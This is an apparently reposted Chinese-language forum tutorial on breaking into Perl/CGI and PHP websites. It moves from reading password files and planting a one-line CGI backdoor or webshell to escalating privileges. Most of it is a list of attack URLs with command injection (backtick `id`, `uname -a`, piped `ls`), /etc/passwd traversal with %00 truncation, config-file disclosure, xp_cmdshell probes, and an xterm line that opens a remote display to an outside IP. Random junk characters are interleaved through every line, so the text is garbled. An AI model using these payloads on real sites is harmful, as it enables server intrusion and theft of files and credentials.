总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 / L, t; B! F9 D% W
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
! T0 r# E. v& X; U$ B0 O4 t感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
. p4 y1 @) Y9 A& M' P注“
6 n5 o7 ~8 s4 s1 Zperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 ; r" e9 b: v% ~$ [
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
2 U1 x0 B! W- o, x5 m
( e4 P, k/ L! V! w D Nhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造 0 w9 | m) e! t J) z3 C
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 5 W2 @/ V& X/ p* l4 r
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
: u% ]/ T; G2 [4 w7 n, }! fhttp://target.com/cgi-bin/home/news/sub.pl?`id`
0 [& w5 q$ x3 Q( bhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` ( U2 u. m5 h5 E( z3 v
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 4 F! ]5 _3 X9 u" ?
3 _: r4 K8 N+ G, \
http://target.com/test.pl;ls| / D0 P, B$ v" n) b+ _ d7 P3 ?' J
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
# E( [# u# }3 Q1 r z5 o* F0 Zhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| ! e- y& O1 h8 T. B7 r& n& a; s5 s
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 $ Z [* L' v8 u2 k* C/ ^4 K& A7 z0 G
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 1 j3 C7 c7 ?5 z
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
( q! x/ j# g4 R$ T/ U
A$ Q5 L4 L) n( |, j! h7 Chttp://target.com/test.pl?&........ /../../etc/passwd ' P7 Q9 ]' N6 `- k A
C- w$ q Y" D* a0 d
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
7 L2 Q! f6 e' q: ?! k# |http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
2 E8 F9 T. W/ _- r. P9 Lhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
5 e3 X* D2 L9 s; L( V
6 R6 i* l. h+ |+ K" R. {5 Hhttp://www.target.org/show.php?f ... /include/config.php 查看php代码
$ h+ l: [5 q, Khttp://www.target.org/show.php?f ... ng/admin/global.php
4 l& |+ c% [( }3 U T" @* `1 _4 y$ N( d! v8 y. f; e
emm和ps的一句话% i/ B2 @9 e0 d
4 [" W; n) e0 v6 s, fhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
- n! I" Z2 b' ?: [) r4 p# c9 _) @# R7 b$ l
>bbb%20|
: I) I; G# O w( O! E( w, }0 ?. M" y L' D7 ]$ l. ~$ i
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
0 k* U4 T) ]7 G9 N$ g! e" m: Q/ {& D$ a5 b
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 & f7 ], _; w/ M4 P
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
- J& T1 @6 X. g9 z3 v/ _) @* \( y1 J( m( S* F
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 $ z1 t* z9 |4 p! q3 a
http://target.com/index.html#cmd.exe 2 q8 p' `* T; ?/ V7 b
http://target.com/index.html?dummyparam=xp_cmdshell
, @5 i( w2 p) W3 o& ?% N* {5 Ylynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd & a' t0 }. N3 v
|